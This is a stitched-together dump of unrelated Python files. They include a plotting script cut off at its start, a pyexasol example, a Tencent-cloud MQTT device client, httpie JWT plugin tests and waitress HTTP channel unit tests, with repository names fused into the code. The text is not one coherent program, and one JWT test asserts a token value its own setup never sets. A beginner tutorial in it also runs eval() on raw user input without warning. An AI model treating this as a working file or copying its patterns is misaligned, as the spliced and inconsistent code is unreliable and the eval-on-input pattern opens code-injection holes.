results['dprime_type'] == dtype) df_stat = results[idx] if ii == 0: ax.set(xlabel='',ylabel='Sensitivity',ylim = (0,6), title = f'{experiment} | {dtype}') ax.get_legend().set_title('') ax.hlines(y_start,0,1) ax.vlines(0,y_start-0.5,y_start) ax.vlines(1,y_start-0.5,y_start) ax.annotate(df_stat['stars'].values[0], xy = ((0+1)/2-0.005,y_start+0.001)) elif ii == 1: ax.set(xlabel='',ylabel='', title = f'{experiment} | {dtype}') ax.legend_.remove() ax.hlines(y_start,0,1) ax.vlines(0,y_start-0.5,y_start) ax.vlines(1,y_start-0.5,y_start) ax.annotate(df_stat['stars'].values[0], xy = ((0+1)/2-0.005,y_start+0.001)) elif ii == 2: ax.set(xlabel='Awareness',ylabel='Sensitivity', title = f'{experiment} | {dtype}') ax.get_legend().set_title('') ax.hlines(y_start,-0.2,0.2) ax.vlines(-0.2,y_start-0.5,y_start) ax.vlines(0.20,y_start-0.5,y_start) ax.annotate('*',xy = ((-0.25+0.25)/2-0.005,y_start+0.1)) # unaware ax.hlines(y_start,0.8,1.2) ax.vlines(0.8,y_start-0.5,y_start) ax.vlines(1.20,y_start-0.5,y_start) ax.annotate('n.s.',xy = ((0.75+1.15)/2-0.005,y_start+0.1)) elif ii == 3: ax.set(xlabel='Awareness',ylabel='', title = f'{experiment} | {dtype}') ax.legend_.remove() ax.hlines(y_start,0,1) ax.vlines(0,y_start-0.5,y_start) ax.vlines(1,y_start-0.5,y_start) ax.annotate(df_stat['stars'].values[0], xy = ((0+1)/2-0.005,y_start+0.001)) fig.tight_layout() figure_dir = '../figures/final_figures' fig.savefig(os.path.join(figure_dir,'fig5.png'), dpi = 500, bbox_inches = 'tight') """ Example 4 Using custom mapper to get python objects out of Exasol fetch methods DECIMAL(p,0) -> int DECIMAL(p,s) -> decimal.Decimal DOUBLE -> float DATE -> datetime.date TIMESTAMP -> datetime.datetime BOOLEAN -> bool VARCHAR -> str CHAR -> str -> str """ import pyexasol import _config as config import pprint printer = pprint.PrettyPrinter(indent=4, width=180) # Basic connect (custom mapper C = pyexasol.connect(dsn=config.dsn, user=config.user, password=config.password, schema=config.schema, fetch_mapper=pyexasol.exasol_mapper) # Fetch objects stmt = C.execute("SELECT * FROM users ORDER BY user_id LIMIT 5") printer.pprint(stmt.fetchall()) # Test timestamp formats with different amount of decimal places # Please note: Exasol stores timestamps with millisecond precision (3 decimal places) # Lack of precision is not a bug, it's the documented feature for i in range(0, 9): C.execute(f"ALTER SESSION SET NLS_TIMESTAMP_FORMAT='YYYY-MM-DD HH24:MI:SS.FF{i}'") printer.pprint(C.execute("SELECT TIMESTAMP'2018-01-01 03:04:05.123456'").fetchval()) import pandas as pd import os import sys # ----------------------------- To handle system paths sys.path.append('.') # ------------------- All paths till the current folder have alias as '.' class Aircraft(): '''Class defining the object Aircrafts. It will hold all the aircraft data and provide relevant methods to modify & maintain this data''' # Constructor for the Airport class def __init__(self): self.__aircraft_df = pd.DataFrame() # Accessor to get the Airport Data def get_AircraftData(self,path): """Return Airport Data""" if os.path.isfile(path): self.__aircraft_df = pd.read_csv(path, encoding='utf-8') # Aircraft Data return self.__aircraft_df else: print("Aircraft File Not Found") return None 0 ''' Input and Output in Python Examples and Playground ''' print("----------------") # User Input in Python uip = input("Enter your name, please : ") print(uip, "is of type", type(uip)) print("----------------") # User Input in Python uip = input("Enter a number, please : ") print(uip, "is of type", type(uip)) print("----------------") # User Input to Integer uip = input("Enter a number, please : ") x = int(uip) print(x, "is of type", type(x)) print("----------------") # User Input to List uip = input("Enter a list of numbers, please : ") x = list(uip) print(x, "is of type", type(x)) print() for y in x: print(10*y) print("----------------") # User Input to List uip = input("Enter a list of numbers, please : ") x = eval(uip) print(x, "is of type", type(x)) print() for y in x: print(10*y) print("----------------") # Print Output in Python print("Hello folks! It's almost", 8, "pm.") print("Hello folks!", end=" ") print("It's almost", end=" ") print(8, end=" ") print("pm.") print("Hello folks! It's almost {0} pm.".format(8)) print("Hello folks! It's almost {a} pm.".format(a = 8)) print("----------------") # Complex Format for Print price_list = {1: 24.5, 2: 34, 3: 105, 4: 234.5, 5: 10} for item, price in price_list.items(): print("Item Code: {i:2d}, Price: {p:4.2f}".format(i = item, p = price)) print("----------------") # ----------------------------------------------- # Quick Tasks # # Create a Temperature converter with user input format 32 C to F or 98.6 F to C. # ----------------------------------------------- RivtLib/replit01 import operator from typing import Union from .exceptions import InvalidVersion from .legacy_version import LegacyVersion from .version import Version OP_EQ = operator.eq OP_LT = operator.lt OP_LE = operator.le OP_GT = operator.gt OP_GE = operator.ge OP_NE = operator.ne _trans_op = { "=": OP_EQ, "==": OP_EQ, "<": OP_LT, "<=": OP_LE, ">": OP_GT, ">=": OP_GE, "!=": OP_NE, } def parse( version, # type: str strict=False, # type: bool ): # type:(...) -> Union[Version, LegacyVersion] """ Parse the given version string and return either a :class:`Version` object or a LegacyVersion object depending on if the given version is a valid PEP 440 version or a legacy version. If strict=True only PEP 440 versions will be accepted. """ try: return Version(version) except InvalidVersion: if strict: raise return LegacyVersion(version) ''' File: bluestone_mqtt_tencent.py Project: bluestone Author: Email: Copyright 2021 - 2021 bluestone tech ''' import net import utime import ujson import log import _thread from misc import Power from TenCentYun import TXyun from usr import bluestone_config from usr import bluestone_common from usr import bluestone_gpio from usr import bluestone_pwm from usr import bluestone_fota from usr import bluestone_uart log.basicConfig(level = log.INFO) _mqtt_log = log.getLogger("MQTT_Tencent") class BluestoneMqttTencent(object): inst = None def __init__(self, product_id, product_secret, sub_topic, pub_topic): BluestoneMqttTencent.inst = self self.bs_config = None self.bs_gpio = None self.bs_pwm = None self.bs_fota = None self.bs_uart = None # 设备名称（参照接入腾讯云应用开发指导） self.device_name = bluestone_common.BluestoneCommon.get_sn() # 产品标识（参照接入腾讯云应用开发指导） self.product_id = product_id # 产品密钥（一机一密认证此参数传入None，参照接入腾讯云应用开发指导） self.product_secret = product_secret self.subscribe_topic = "{}/{}/{}".format(self.product_id, self.device_name, sub_topic) self.publish_topic = "{}/{}/{}".format(self.product_id, self.device_name, pub_topic) _mqtt_log.info("Start a new mqtt client, product id:{}, device name:{}, subscribe topic is {}, publish topic is {}".format(self.product_id, self.device_name, self.subscribe_topic, self.publish_topic)) self.client = None self._is_sub_callback_running = False self._is_message_published = False def init(self): self.bs_config = bluestone_config.BluestoneConfig('bluestone_config.json') self.bs_data_config = bluestone_config.BluestoneConfig('bluestone_data.json') self.bs_gpio = bluestone_gpio.BluestoneGPIO() self.bs_pwm = bluestone_pwm.BluestonePWM() self.bs_fota = bluestone_fota.BluestoneFOTA() self.bs_uart = bluestone_uart.BlueStoneUart(None) # 创建一个MQTT实例 self.client = TXyun(self.product_id, self.device_name, None, self.product_secret) _mqtt_log.info("The mqtt client is started") self.client.setMqtt() # 设置mqtt self.client.setCallback(self._sub_callback) # 设置消息回调 self.client.subscribe(self.subscribe_topic) # 订阅主题 self.client.start() def _update_gpio_status(self, io_level_list): try: self.bs_data_config.update_config('gpio', io_level_list) message = {} message['gpio'] = io_level_list _mqtt_log.info("Data configuration is {}".format(message)) self.publish(message) except Exception as err: _mqtt_log.error("Cannot update gpio level list, the error is {}".format(err)) def _handle_callback(self, key, config): result = False try: if key.startswith('uart'): # first payload then config payload = self.bs_config.get_value(config, "payload") if payload: self.bs_uart.uart_write(key, ujson.dumps(payload)) uart_config = self.bs_config.get_value(config, "config") if uart_config: self.bs_config.update_config(key, uart_config) self.bs_data_config.update_config(key, uart_config) result = True elif key.startswith('pwm'): id = self.bs_pwm.get_id_by_name(key) is_breathe = self.bs_config.get_int_value(config, "breathe") frequency = self.bs_config.get_int_value(config, "frequency") duty = self.bs_config.get_float_value(config, "duty") if is_breathe: self.bs_pwm.start_breathe(id, frequency) else: self.bs_pwm.start_once(id, frequency, duty) elif key.startswith('timer'): self.bs_config.update_config(key, config) self.bs_data_config.update_config(key, config) result = True elif key == 'gpio': io_level_list = self.bs_gpio.read_all() io_name_list = self.bs_gpio.get_io_name_list() for gpio_key in config.keys(): if gpio_key not in io_name_list: continue; level = self.bs_config.get_int_value(config, gpio_key) if level is not None: id = self.bs_gpio.get_id_by_name(gpio_key) self.bs_gpio.write(id, level) io_level_list[gpio_key] = level self._update_gpio_status(io_level_list) elif key == 'fota': mode = self.bs_config.get_int_value(config, "mode") if mode == 0: url_list = self.bs_config.get_value(config, "url") self.bs_fota.start_fota_app(url_list) elif mode == 1: url = self.bs_config.get_value(config, "url") self.bs_fota.start_fota_firmware(url) result = True except Exception as err: _mqtt_log.error("Cannot handle callback for tencent mqtt, the error is {}".format(err)) return result def _sub_callback_internal(self, topic, msg): try: message = msg.decode() _mqtt_log.info("Subscribe received, topic={}, message={}".format(topic.decode(), message)) restart = False config_setting = ujson.loads(message) config_keys = config_setting.keys() for key in config_setting: config = config_setting[key] key_exist = self.bs_config.check_key_exist(key) if key_exist: result = self._handle_callback(key, config) if not restart: restart = result if restart: restart = False _mqtt_log.info("New configuration was received from tencent mqtt, restarting system to take effect") Power.powerRestart() except Exception as err: _mqtt_log.error("Cannot handle subscribe callback for tencent mqtt, the error is {}".format(err)) finally: self._is_sub_callback_running = False # 云端消息响应回调函数 def _sub_callback(self, topic, msg): if self._is_sub_callback_running: _mqtt_log.error("Subscribe callback function is running, skipping the new request") return self._is_sub_callback_running = True _thread.start_new_thread(self._sub_callback_internal, (topic, msg)) def _mqtt_publish(self, message): if self.client is not None: self.client.publish(self.publish_topic, message) self._is_message_published = True; _mqtt_log.info("Publish topic is {}, message is {}".format(self.publish_topic, message)) def is_message_published(self): return self._is_message_published def publish(self, message): network_state = bluestone_common.BluestoneCommon.get_network_state() if network_state != 1: _mqtt_log.error("Cannot publish mqtt message, the network state is {}".format(network_state)) return self._is_message_published = False _thread.start_new_thread(self._mqtt_publish, ([ujson.dumps(message)])) def connect(self): if self.client is not None: self.client.start() _mqtt_log.info("MQTT connected") def disconnect(self): if self.client is not None: self.client.disconnect() _mqtt_log.info("MQTT disconnected") def close(self): self.disconnect() self.client = None _mqtt_log.info("MQTT closed") willinprogress/python-versifyversify/model/Book.py #!/usr/bin/env python # -*- coding: utf-8 -*- class Book: def __init__(self, testament, name, code, position): self.testament = testament self.name = name self.code = code self.position = position self.chapters = [] def get_chapters(self): """ Get list of chapters of this book :return: list of chapter of book """ return self.chapters 10-100 import argparse import numpy as np # Definition of arguments used in functions defined within this file parser = argparse.ArgumentParser() parser.add_argument('--filename', action='store', type=str, required=True, help='Include string ALPHA_UNDERSCORE where you want to modify each filename') args = parser.parse_args() if __name__ == "__main__": fn = args.filename f = open('template_resnet.pbs', 'r') l = f.read() # Generate rate-testing-pbs files based on template for i in np.arange(0.2, 3.1, 0.2): digit1 = int(i) digit01 = int(i*10-int(i)*10) decim = str(i) und = str(digit1)+"_"+str(digit01) curr_fn = fn.replace('ALPHA_UNDERSCORE', und) curr_dat = l.replace('ALPHA_UNDERSCORE', und) curr_dat = curr_dat.replace('ALPHA_DECIMAL', decim) saveF = open(curr_fn, 'w') saveF.write(curr_dat) saveF.close() # END FOR broyak/landwatch from . import PACKAGE_NAME from .cli import cli_main if __name__ == "__main__": cli_main(prog_name=PACKAGE_NAME) def suma(num1, num2): resultado = num1 + num2 return resultado almacena_resultado = suma(5, 8) print(almacena_resultado) actualiza_resultado = suma(almacena_resultado, 8) print(actualiza_resultado) ''' ========================================================================== XbarRTL_test.py ========================================================================== Unit tests for XbarRTL. Author : Date : Apr 16, 2020 ''' import pytest from pymtl3 import * from pymtl3.stdlib.test_utils import mk_test_case_table from pymtl3.stdlib.stream.SourceRTL import SourceRTL as TestSource from pymtl3_net.ocnlib.ifcs.packets import mk_generic_pkt, mk_xbar_pkt from pymtl3_net.ocnlib.utils import run_sim from pymtl3_net.ocnlib.test.stream_sinks import NetSinkRTL as TestSink from ..XbarRTL import XbarRTL #------------------------------------------------------------------------- # Constants #------------------------------------------------------------------------- opaque_nbits = 8 payload_nbits = 32 #------------------------------------------------------------------------- # test case: sanity check #------------------------------------------------------------------------- def test_sanity(): PktT = mk_generic_pkt( nrouters=4, opaque_nbits=8, vc=0, payload_nbits=32 ) dut = XbarRTL( PktT, 2, 2 ) dut.elaborate() dut.apply( DefaultPassGroup() ) dut.sim_reset() dut.sim_tick() dut.sim_tick() #------------------------------------------------------------------------- # arrange_src_sink_pkts #------------------------------------------------------------------------- def arrange_src_sink_pkts( num_inports, num_outports, pkt_lst ): src_pkts = [ [] for _ in range( num_inports ) ] sink_pkts = [ [] for _ in range( num_outports ) ] for pkt in pkt_lst: src = pkt.src.uint() dst = pkt.dst.uint() src_pkts [ src ].append( pkt ) sink_pkts[ dst ].append( pkt ) return src_pkts, sink_pkts #------------------------------------------------------------------------- # TestHarness #------------------------------------------------------------------------- class TestHarness( Component ): def construct( s, num_inports, num_outports, pkts ): src_pkts, sink_pkts = \ arrange_src_sink_pkts( num_inports, num_outports, pkts ) PktT = mk_xbar_pkt( num_inports, num_outports, opaque_nbits, payload_nbits ) s.src = [ TestSource( PktT, src_pkts[i] ) for i in range( num_inports ) ] s.dut = XbarRTL( PktT, num_inports, num_outports ) s.sink = [ TestSink( PktT, sink_pkts[i] ) for i in range( num_outports ) ] for i in range( num_inports ): s.src[i].send //= s.dut.recv[i] for i in range( num_outports ): s.dut.send[i] //= s.sink[i].recv def done( s ): src_done = True sink_done = True for m in s.src: src_done &= m.done() for m in s.sink: sink_done &= m.done() return src_done and sink_done def line_trace( s ): return s.dut.line_trace() #------------------------------------------------------------------------- # test case: basic #------------------------------------------------------------------------- def basic_pkts( n_in, n_out ): Pkt = mk_xbar_pkt( n_in, n_out, opaque_nbits, payload_nbits ) return [ Pkt( 0, 0, 0x01, 0xfaceb00c ), ] #------------------------------------------------------------------------- # test case table #------------------------------------------------------------------------- test_cases = [ ( 'msg_func n_in n_out init intv' ), [ 'basic1x2', basic_pkts, 1, 2, 0, 0 ], [ 'basic2x1', basic_pkts, 2, 1, 0, 0 ], [ 'basic2x2', basic_pkts, 2, 2, 0, 0 ], ] test_case_table = mk_test_case_table( test_cases ) #------------------------------------------------------------------------- # test driver #------------------------------------------------------------------------- @pytest.mark.parametrize( **test_case_table ) def test_sflit_xbar( test_params, cmdline_opts ): pkts = test_params.msg_func( test_params.n_in, test_params.n_out ) th = TestHarness( test_params.n_in, test_params.n_out, pkts ) th.set_param( 'top.sink*.construct', initial_delay = test_params.init, interval_delay = test_params.intv, ) run_sim( th, cmdline_opts ) teracyhq/httpie-jwt-auth100-1000 # -*- coding: utf-8 -*- """integration test for httpie_jwt_auth:JWTAuthPlugin""" import os from httpie.plugins import plugin_manager from httpie_jwt_auth import JWTAuthPlugin from .utils import http, HTTP_OK plugin_manager.register(JWTAuthPlugin) def test_required(httpbin): """$ http [url] --auth-type=jwt => --auth or JWT_AUTH_TOKEN required error""" try: r = http( httpbin.url + '/headers', '--auth-type', 'jwt' ) # TODO(hoatle): handle this # assert r.exit_status == 1 # assert '--auth or JWT_AUTH_TOKEN required error' in r.stdout or r.stderr # basically print error with the same behavior like: `--auth required error` except Exception as ex: assert '--auth or JWT_AUTH_TOKEN required error' in str(ex) def test_colon_character(httpbin): """ $ http [url] --auth-type=jwt --auth=abc: => the right Authorization request header with default token prefix (Bearer) This is compatible behavior with httpie-jwt-auth v0.2.1 and below """ r = http( httpbin.url + '/headers', '--auth-type', 'jwt', '--auth', 'abc:' ) assert HTTP_OK in r assert r.json['headers']['Authorization'] == 'Bearer abc' def test_default_prefix(httpbin): """ $ http [url] --auth-type=jwt --auth=abc => the right Authorization request header with default token prefix (Bearer) this requires HTTPie version 0.9.7 and above """ r = http( httpbin.url + '/headers', '--auth-type', 'jwt', '--auth', 'abc' ) assert HTTP_OK in r assert r.json['headers']['Authorization'] == 'Bearer abc' def test_specified_env_token(httpbin): """ sometimes, putting the token on the command line is not preferred, we should support environment variable $ export JWT_AUTH_TOKEN=abc $ http [url] --auth-type=jwt """ os.environ['JWT_AUTH_TOKEN'] = '' r = http( '--auth-type', 'jwt', httpbin.url + '/headers' ) assert HTTP_OK in r assert r.json['headers']['Authorization'] == 'Bearer secret' # cleanup del os.environ['JWT_AUTH_TOKEN'] def test_env_token_and_auth(httpbin): """ set both JWT_AUTH_TOKEN and --auth -> --auth has higher priority """ os.environ['JWT_AUTH_TOKEN'] = 'secret' r = http( '--auth-type', 'jwt', '--auth', 'abc', httpbin.url + '/headers' ) assert HTTP_OK in r assert r.json['headers']['Authorization'] == 'Bearer abc' # cleanup del os.environ['JWT_AUTH_TOKEN'] def test_specified_env_prefix(httpbin): """ $ JWT_AUTH_PREFIX=JWT http --auth-type=jwt --auth="xyz" [url] => the right Authorization request header with defined token prefix (JWT) """ os.environ['JWT_AUTH_PREFIX'] = 'JWT' assert os.environ.get('JWT_AUTH_PREFIX') == 'JWT' r = http( '--auth-type', 'jwt', '--auth', 'xyz', httpbin.url + '/headers' ) assert HTTP_OK in r assert r.json['headers']['Authorization'] == 'JWT xyz' # cleanup del os.environ['JWT_AUTH_PREFIX'] def test_specified_env_header(httpbin): """ $ JWT_AUTH_HEADER=X-Foobar-Authorization http --auth-type=jwt --auth="xyz" [url] => the right X-Foobar-Authorization request header """ os.environ['JWT_AUTH_HEADER'] = 'X-Foobar-Authorization' assert os.environ.get('JWT_AUTH_HEADER') == 'X-Foobar-Authorization' r = http( '--auth-type', 'jwt', '--auth', 'xyz', httpbin.url + '/headers' ) assert HTTP_OK in r assert r.json['headers']['X-Foobar-Authorization'] == 'Bearer xyz' # cleanup del os.environ['JWT_AUTH_HEADER'] def test_specified_both_env_prefix_and_env_token(httpbin): os.environ['JWT_AUTH_PREFIX'] = 'JWT' os.environ['JWT_AUTH_TOKEN'] = 'secret' r = http( '--auth-type', 'jwt', httpbin.url + '/headers' ) assert HTTP_OK in r assert r.json['headers']['Authorization'] == 'JWT secret' # cleanup del os.environ['JWT_AUTH_PREFIX'] del os.environ['JWT_AUTH_TOKEN'] def test_specified_env_header_and_env_prefix_and_env_token(httpbin): os.environ['JWT_AUTH_HEADER'] = 'X-Foobar-Authorization' os.environ['JWT_AUTH_PREFIX'] = 'JWT' os.environ['JWT_AUTH_TOKEN'] = 'secret' r = http( '--auth-type', 'jwt', httpbin.url + '/headers' ) assert HTTP_OK in r assert r.json['headers']['X-Foobar-Authorization'] == 'JWT secret' # cleanup del os.environ['JWT_AUTH_HEADER'] del os.environ['JWT_AUTH_PREFIX'] del os.environ['JWT_AUTH_TOKEN'] # TODO(hoatle): implement this # def test_specified_option_prefix(httpbin): # """ # $ http --auth-type="jwt" --auth="abc" --auth-prefix="JWT" [url] # => the right Authorization request header with defined token prefix (JWT) # use this way when you have to switch with different jwt auth prefix # this requires HTTPie version 0.9.7 and above # """ # r = http( # httpbin.url + '/headers', # '--auth-type', # 'jwt', # '--auth', # 'xyz', # ) # assert HTTP_OK in r # assert r.json['headers']['Authorization'] == 'JWT xyz' resolwe/elastic/management/__init__.py """Management.""" import unittest import io class TestHTTPChannel(unittest.TestCase): def _makeOne(self, sock, addr, adj, map=None): from waitress.channel import HTTPChannel server = DummyServer() return HTTPChannel(server, sock, addr, adj=adj, map=map) def _makeOneWithMap(self, adj=None): if adj is None: adj = DummyAdjustments() sock = DummySock() map = {} inst = self._makeOne(sock, '127.0.0.1', adj, map=map) inst.outbuf_lock = DummyLock() return inst, sock, map def test_ctor(self): inst, _, map = self._makeOneWithMap() self.assertEqual(inst.addr, '127.0.0.1') self.assertEqual(inst.sendbuf_len, 2048) self.assertEqual(map[100], inst) def test_total_outbufs_len_an_outbuf_size_gt_sys_maxint(self): from waitress.compat import MAXINT inst, _, map = self._makeOneWithMap() class DummyBuffer(object): chunks = [] def append(self, data): self.chunks.append(data) class DummyData(object): def __len__(self): return MAXINT inst.total_outbufs_len = 1 inst.outbufs = [DummyBuffer()] inst.write_soon(DummyData()) # we are testing that this method does not raise an OverflowError # (see https://github.com/Pylons/waitress/issues/47) self.assertEqual(inst.total_outbufs_len, MAXINT+1) def test_writable_something_in_outbuf(self): inst, sock, map = self._makeOneWithMap() inst.total_outbufs_len = 3 self.assertTrue(inst.writable()) def test_writable_nothing_in_outbuf(self): inst, sock, map = self._makeOneWithMap() self.assertFalse(inst.writable()) def test_writable_nothing_in_outbuf_will_close(self): inst, sock, map = self._makeOneWithMap() inst.will_close = True self.assertTrue(inst.writable()) def test_handle_write_not_connected(self): inst, sock, map = self._makeOneWithMap() inst.connected = False self.assertFalse(inst.handle_write()) def test_handle_write_with_requests(self): inst, sock, map = self._makeOneWithMap() inst.requests = True inst.last_activity = 0 result = inst.handle_write() self.assertEqual(result, None) self.assertEqual(inst.last_activity, 0) def test_handle_write_no_request_with_outbuf(self): inst, sock, map = self._makeOneWithMap() inst.requests = [] inst.outbufs = [DummyBuffer(b'abc')] inst.total_outbufs_len = len(inst.outbufs[0]) inst.last_activity = 0 result = inst.handle_write() self.assertEqual(result, None) self.assertNotEqual(inst.last_activity, 0) self.assertEqual(sock.sent, b'abc') def test_handle_write_outbuf_raises_socketerror(self): import socket inst, sock, map = self._makeOneWithMap() inst.requests = [] outbuf = DummyBuffer(b'abc', socket.error) inst.outbufs = [outbuf] inst.total_outbufs_len = len(outbuf) inst.last_activity = 0 inst.logger = DummyLogger() result = inst.handle_write() self.assertEqual(result, None) self.assertEqual(inst.last_activity, 0) self.assertEqual(sock.sent, b'') self.assertEqual(len(inst.logger.exceptions), 1) self.assertTrue(outbuf.closed) def test_handle_write_outbuf_raises_othererror(self): inst, sock, map = self._makeOneWithMap() inst.requests = [] outbuf = DummyBuffer(b'abc', IOError) inst.outbufs = [outbuf] inst.total_outbufs_len = len(outbuf) inst.last_activity = 0 inst.logger = DummyLogger() result = inst.handle_write() self.assertEqual(result, None) self.assertEqual(inst.last_activity, 0) self.assertEqual(sock.sent, b'') self.assertEqual(len(inst.logger.exceptions), 1) self.assertTrue(outbuf.closed) def test_handle_write_no_requests_no_outbuf_will_close(self): inst, sock, map = self._makeOneWithMap() inst.requests = [] outbuf = DummyBuffer(b'') inst.outbufs = [outbuf] inst.will_close = True inst.last_activity = 0 result = inst.handle_write() self.assertEqual(result, None) self.assertEqual(inst.connected, False) self.assertEqual(sock.closed, True) self.assertEqual(inst.last_activity, 0) self.assertTrue(outbuf.closed) def test_handle_write_no_requests_outbuf_gt_send_bytes(self): inst, sock, map = self._makeOneWithMap() inst.requests = [True] inst.outbufs = [DummyBuffer(b'abc')] inst.total_outbufs_len = len(inst.outbufs[0]) inst.adj.send_bytes = 2 inst.will_close = False inst.last_activity = 0 result = inst.handle_write() self.assertEqual(result, None) self.assertEqual(inst.will_close, False) self.assertTrue(inst.outbuf_lock.acquired) self.assertEqual(sock.sent, b'abc') def test_handle_write_close_when_flushed(self): inst, sock, map = self._makeOneWithMap() outbuf = DummyBuffer(b'abc') inst.outbufs = [outbuf] inst.total_outbufs_len = len(outbuf) inst.will_close = False inst.close_when_flushed = True inst.last_activity = 0 result = inst.handle_write() self.assertEqual(result, None) self.assertEqual(inst.will_close, True) self.assertEqual(inst.close_when_flushed, False) self.assertEqual(sock.sent, b'abc') self.assertTrue(outbuf.closed) def test_readable_no_requests_not_will_close(self): inst, sock, map = self._makeOneWithMap() inst.requests = [] inst.will_close = False self.assertEqual(inst.readable(), True) def test_readable_no_requests_will_close(self): inst, sock, map = self._makeOneWithMap() inst.requests = [] inst.will_close = True self.assertEqual(inst.readable(), False) def test_readable_with_requests(self): inst, sock, map = self._makeOneWithMap() inst.requests = True self.assertEqual(inst.readable(), False) def test_handle_read_no_error(self): inst, sock, map = self._makeOneWithMap() inst.will_close = False inst.recv = lambda *arg: b'abc' inst.last_activity = 0 L = [] inst.received = lambda x: L.append(x) result = inst.handle_read() self.assertEqual(result, None) self.assertNotEqual(inst.last_activity, 0) self.assertEqual(L, [b'abc']) def test_handle_read_error(self): import socket inst, sock, map = self._makeOneWithMap() inst.will_close = False def recv(b): raise socket.error inst.recv = recv inst.last_activity = 0 inst.logger = DummyLogger() result = inst.handle_read() self.assertEqual(result, None) self.assertEqual(inst.last_activity, 0) self.assertEqual(len(inst.logger.exceptions), 1) def test_write_soon_empty_byte(self): inst, sock, map = self._makeOneWithMap() wrote = inst.write_soon(b'') self.assertEqual(wrote, 0) self.assertEqual(len(inst.outbufs[0]), 0) def test_write_soon_nonempty_byte(self): inst, sock, map = self._makeOneWithMap() wrote = inst.write_soon(b'a') self.assertEqual(wrote, 1) self.assertEqual(len(inst.outbufs[0]), 1) def test_write_soon_filewrapper(self): from waitress.buffers import ReadOnlyFileBasedBuffer f = io.BytesIO(b'abc') wrapper = ReadOnlyFileBasedBuffer(f, 8192) wrapper.prepare() inst, sock, map = self._makeOneWithMap() outbufs = inst.outbufs orig_outbuf = outbufs[0] wrote = inst.write_soon(wrapper) self.assertEqual(wrote, 3) self.assertEqual(len(outbufs), 3) self.assertEqual(outbufs[0], orig_outbuf) self.assertEqual(outbufs[1], wrapper) self.assertEqual(outbufs[2].__class__.__name__, 'OverflowableBuffer') def test_write_soon_disconnected(self): from waitress.channel import ClientDisconnected inst, sock, map = self._makeOneWithMap() inst.connected = False self.assertRaises(ClientDisconnected, lambda: inst.write_soon(b'stuff')) def test_write_soon_disconnected_while_over_watermark(self): from waitress.channel import ClientDisconnected inst, sock, map = self._makeOneWithMap() def dummy_flush(): inst.connected = False inst._flush_outbufs_below_high_watermark = dummy_flush self.assertRaises(ClientDisconnected, lambda: inst.write_soon(b'stuff')) def test_write_soon_rotates_outbuf_on_overflow(self): inst, sock, map = self._makeOneWithMap() inst.adj.outbuf_high_watermark = 3 inst.current_outbuf_count = 4 wrote = inst.write_soon(b'xyz') self.assertEqual(wrote, 3) self.assertEqual(len(inst.outbufs), 2) self.assertEqual(inst.outbufs[0].get(), b'') self.assertEqual(inst.outbufs[1].get(), b'xyz') def test_write_soon_waits_on_backpressure(self): inst, sock, map = self._makeOneWithMap() inst.adj.outbuf_high_watermark = 3 inst.total_outbufs_len = 4 inst.current_outbuf_count = 4 class Lock(DummyLock): def wait(self): inst.total_outbufs_len = 0 super(Lock, self).wait() inst.outbuf_lock = Lock() wrote = inst.write_soon(b'xyz') self.assertEqual(wrote, 3) self.assertEqual(len(inst.outbufs), 2) self.assertEqual(inst.outbufs[0].get(), b'') self.assertEqual(inst.outbufs[1].get(), b'xyz') self.assertTrue(inst.outbuf_lock.waited) def test_handle_write_notify_after_flush(self): inst, sock, map = self._makeOneWithMap() inst.requests = [True] inst.outbufs = [DummyBuffer(b'abc')] inst.total_outbufs_len = len(inst.outbufs[0]) inst.adj.send_bytes = 1 inst.adj.outbuf_high_watermark = 5 inst.will_close = False inst.last_activity = 0 result = inst.handle_write() self.assertEqual(result, None) self.assertEqual(inst.will_close, False) self.assertTrue(inst.outbuf_lock.acquired) self.assertTrue(inst.outbuf_lock.notified) self.assertEqual(sock.sent, b'abc') def test_handle_write_no_notify_after_flush(self): inst, sock, map = self._makeOneWithMap() inst.requests = [True] inst.outbufs = [DummyBuffer(b'abc')] inst.total_outbufs_len = len(inst.outbufs[0]) inst.adj.send_bytes = 1 inst.adj.outbuf_high_watermark = 2 sock.send = lambda x: False inst.will_close = False inst.last_activity = 0 result = inst.handle_write() self.assertEqual(result, None) self.assertEqual(inst.will_close, False) self.assertTrue(inst.outbuf_lock.acquired) self.assertFalse(inst.outbuf_lock.notified) self.assertEqual(sock.sent, b'') def test__flush_some_empty_outbuf(self): inst, sock, map = self._makeOneWithMap() result = inst._flush_some() self.assertEqual(result, False) def test__flush_some_full_outbuf_socket_returns_nonzero(self): inst, sock, map = self._makeOneWithMap() inst.outbufs[0].append(b'abc') inst.total_outbufs_len = sum(len(x) for x in inst.outbufs) result = inst._flush_some() self.assertEqual(result, True) def test__flush_some_full_outbuf_socket_returns_zero(self): inst, sock, map = self._makeOneWithMap() sock.send = lambda x: False inst.outbufs[0].append(b'abc') inst.total_outbufs_len = sum(len(x) for x in inst.outbufs) result = inst._flush_some() self.assertEqual(result, False) def test_flush_some_multiple_buffers_first_empty(self): inst, sock, map = self._makeOneWithMap() sock.send = lambda x: len(x) buffer = DummyBuffer(b'abc') inst.outbufs.append(buffer) inst.total_outbufs_len = sum(len(x) for x in inst.outbufs) result = inst._flush_some() self.assertEqual(result, True) self.assertEqual(buffer.skipped, 3) self.assertEqual(inst.outbufs, [buffer]) def test_flush_some_multiple_buffers_close_raises(self): inst, sock, map = self._makeOneWithMap() sock.send = lambda x: len(x) buffer = DummyBuffer(b'abc') inst.outbufs.append(buffer) inst.total_outbufs_len = sum(len(x) for x in inst.outbufs) inst.logger = DummyLogger() def doraise(): raise NotImplementedError inst.outbufs[0].close = doraise result = inst._flush_some() self.assertEqual(result, True) self.assertEqual(buffer.skipped, 3) self.assertEqual(inst.outbufs, [buffer]) self.assertEqual(len(inst.logger.exceptions), 1) def test__flush_some_outbuf_len_gt_sys_maxint(self): from waitress.compat import MAXINT inst, sock, map = self._makeOneWithMap() class DummyHugeOutbuffer(object): def __init__(self): self.length = MAXINT + 1 def __len__(self): return self.length def get(self, numbytes): self.length = 0 return b'123' def skip(self, *args): pass buf = DummyHugeOutbuffer() inst.outbufs = [buf] inst.send = lambda *arg: 0 result = inst._flush_some() # we are testing that _flush_some doesn't raise an OverflowError # when one of its outbufs has a __len__ that returns gt sys.maxint self.assertEqual(result, False) def test_handle_close(self): inst, sock, map = self._makeOneWithMap() inst.handle_close() self.assertEqual(inst.connected, False) self.assertEqual(sock.closed, True) def test_handle_close_outbuf_raises_on_close(self): inst, sock, map = self._makeOneWithMap() def doraise(): raise NotImplementedError inst.outbufs[0].close = doraise inst.logger = DummyLogger() inst.handle_close() self.assertEqual(inst.connected, False) self.assertEqual(sock.closed, True) self.assertEqual(len(inst.logger.exceptions), 1) 